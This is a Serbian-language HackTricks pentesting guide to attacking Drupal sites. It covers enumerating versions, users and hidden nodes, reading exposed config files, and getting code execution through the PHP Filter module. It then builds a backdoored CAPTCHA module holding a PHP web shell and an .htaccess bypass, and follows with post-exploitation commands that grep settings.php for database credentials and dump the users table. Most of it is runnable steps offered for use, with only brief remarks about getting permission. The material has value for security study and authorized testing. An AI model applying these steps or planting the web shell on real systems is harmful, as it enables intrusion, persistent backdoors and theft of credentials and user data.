10 KiB
Drupal
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Otkrivanje
- Proverite meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Čvor: Drupal indeksira svoj sadržaj koristeći čvorove. Čvor može sadržavati bilo šta, kao što su blog objava, anketa, članak, itd. URI stranica obično ima oblik
/node/<nodeid>
.
curl drupal-site.com/node/1
Enumeracija
Drupal podrazumevano podržava tri vrste korisnika:
Administrator
: Ovaj korisnik ima potpunu kontrolu nad Drupal veb sajtom.Autentifikovani korisnik
: Ovi korisnici mogu se prijaviti na veb sajt i obavljati operacije kao što su dodavanje i uređivanje članaka na osnovu svojih dozvola.Anonimni
: Svi posetioci veb sajta su označeni kao anonimni. Podrazumevano, ovi korisnici imaju samo dozvolu za čitanje objava.
Verzija
- Proverite
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Novije instalacije Drupal-a po default-u blokiraju pristup datotekama CHANGELOG.txt
i README.txt
.
{% endhint %}
Enumeracija korisničkih imena
Registracija
Na /user/register pokušajte kreirati korisničko ime i ako je ime već zauzeto, bićete obavešteni:
Zahtev za novu lozinku
Ako zatražite novu lozinku za postojeće korisničko ime:
Ako zatražite novu lozinku za nepostojeće korisničko ime:
Dobijanje broja korisnika
Pristupanjem /user/<broj> možete videti broj postojećih korisnika, u ovom slučaju je 2 jer /users/3 vraća grešku "nije pronađeno":
Skrivene stranice
Fuzzujte /node/$
gde je $
broj (od 1 do 500 na primer).
Možete pronaći skrivene stranice (test, dev) koje nisu referencirane od strane pretraživača.
Informacije o instaliranim modulima
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automatsko
Automatsko skeniranje i ispitivanje Drupal veb aplikacija može biti veoma korisno za otkrivanje ranjivosti i slabosti. Postoje alati kao što su Droopescan i Drupalgeddon koji mogu automatizovati ovaj proces.
Droopescan je alat koji omogućava skeniranje Drupal veb aplikacija kako bi se otkrile ranjivosti. Može se koristiti za pronalaženje verzije Drupal-a, provere poznatih ranjivosti i pronalaženje dodataka koji mogu biti ranjivi.
Drupalgeddon je alat koji je specifično dizajniran za otkrivanje ranjivosti poznate kao "Drupalgeddon". Ova ranjivost omogućava napadačima da izvrše proizvoljan kod na ciljnom sistemu. Alat automatski skenira ciljnu veb aplikaciju i proverava da li je ranjiva na ovu ranjivost.
Automatsko skeniranje i ispitivanje Drupal veb aplikacija može biti brzo i efikasno, ali treba biti oprezan prilikom korišćenja ovih alata. Neophodno je dobiti dozvolu od vlasnika veb aplikacije pre nego što se izvrši skeniranje ili ispitivanje.
droopescan scan drupal -u http://drupal-site.local
RCE
Pomoću PHP Filter modula
{% hint style="warning" %}
U starijim verzijama Drupal-a (pre verzije 8) bilo je moguće prijaviti se kao administrator i omogućiti modul PHP filter
, koji "Omogućava evaluaciju ugrađenog PHP koda/snippetova."
{% endhint %}
Potrebno je da je dodatak php instaliran (proverite pristupom do /modules/php i ako vrati 403, onda postoji, ako nije pronađen, onda dodatak php nije instaliran)
Idite na Modules -> (Proverite) PHP Filter -> Save configuration
Zatim kliknite na Add content -> Izaberite Basic Page ili Article -> Napišite php shellcode u telu -> Izaberite PHP code u Text formatu -> Izaberite Preview
Na kraju samo pristupite novo kreiranom čvoru:
curl http://drupal-site.local/node/3
Instaliranje PHP Filter modula
Od verzije 8 nadalje, modul PHP Filter nije instaliran po defaultu. Da bismo iskoristili ovu funkcionalnost, moramo samostalno instalirati modul.
- Preuzmite najnoviju verziju modula sa Drupal veb sajta.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Nakon preuzimanja, idite na
Administracija
>Izveštaji
>Dostupna ažuriranja
. - Kliknite na
Pregledaj
, izaberite fajl iz direktorijuma u koji ste ga preuzeli, a zatim kliknite na **
Instaliraj`**. - Kada se modul instalira, možemo kliknuti na
Sadržaj
i kreirati novu osnovnu stranicu, slično kao što smo uradili u primeru za Drupal 7. Ponovo se uverite da ste izabraliPHP kod
iz padajućeg menijaFormat teksta
.
Modul sa zadnjim vratima
Modul sa zadnjim vratima može se kreirati dodavanjem školjke postojećem modulu. Moduli se mogu pronaći na drupal.org veb sajtu. Hajde da izaberemo modul kao što je CAPTCHA. Pomerite se nadole i kopirajte link za tar.gz arhivu.
- Preuzmite arhivu i izvucite njene sadržaje.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Napravite PHP web shell sa sledećim sadržajem:
<?php
system($_GET["cmd"]);
?>
- Zatim, trebamo kreirati
.htaccess
datoteku kako bismo sebi omogućili pristup folderu. Ovo je neophodno jer Drupal zabranjuje direktni pristup folderu/modules
.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Konfiguracija iznad će primeniti pravila za fasciklu / kada zahtevamo datoteku u /modules. Kopirajte oba ova fajla u fasciklu captcha i napravite arhivu.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Pretpostavljajući da imamo administrativni pristup veb sajtu, kliknite na
Upravljanje
a zatim naProširenja
na bočnoj traci. Zatim kliknite na dugme+ Instaliraj novo proširenje
, i bićemo preusmereni na stranicu za instalaciju, kao što jehttp://drupal-site.local/admin/modules/install
. Pregledajte arhivu sa zakačenim Captcha i kliknite naInstaliraj
. - Nakon uspešne instalacije, pregledajte
/modules/captcha/shell.php
da biste izvršili komande.
Post Eksploatacija
Pročitajte settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Dump korisnika iz baze podataka
Da biste izvršili izvlačenje korisnika iz baze podataka, možete koristiti sledeće korake:
- Identifikujte ciljnu bazu podataka u Drupalu.
- Koristite odgovarajući alat za izvršavanje SQL upita na bazi podataka, kao što je phpMyAdmin ili MySQL komandna linija.
- Izvršite sledeći SQL upit kako biste izvukli informacije o korisnicima:
SELECT * FROM users;
Ovaj upit će vam vratiti sve informacije o korisnicima iz tabele "users" u bazi podataka.
- Sačuvajte rezultate upita u odgovarajuću datoteku kako biste ih kasnije analizirali.
Napomena: Budite pažljivi prilikom rukovanja ovim informacijama, jer pristup korisničkim podacima može biti nezakonit ili kršiti privatnost korisnika. Uvek se pridržavajte etičkih smernica i zakona prilikom izvršavanja ovih koraka.
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu u HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.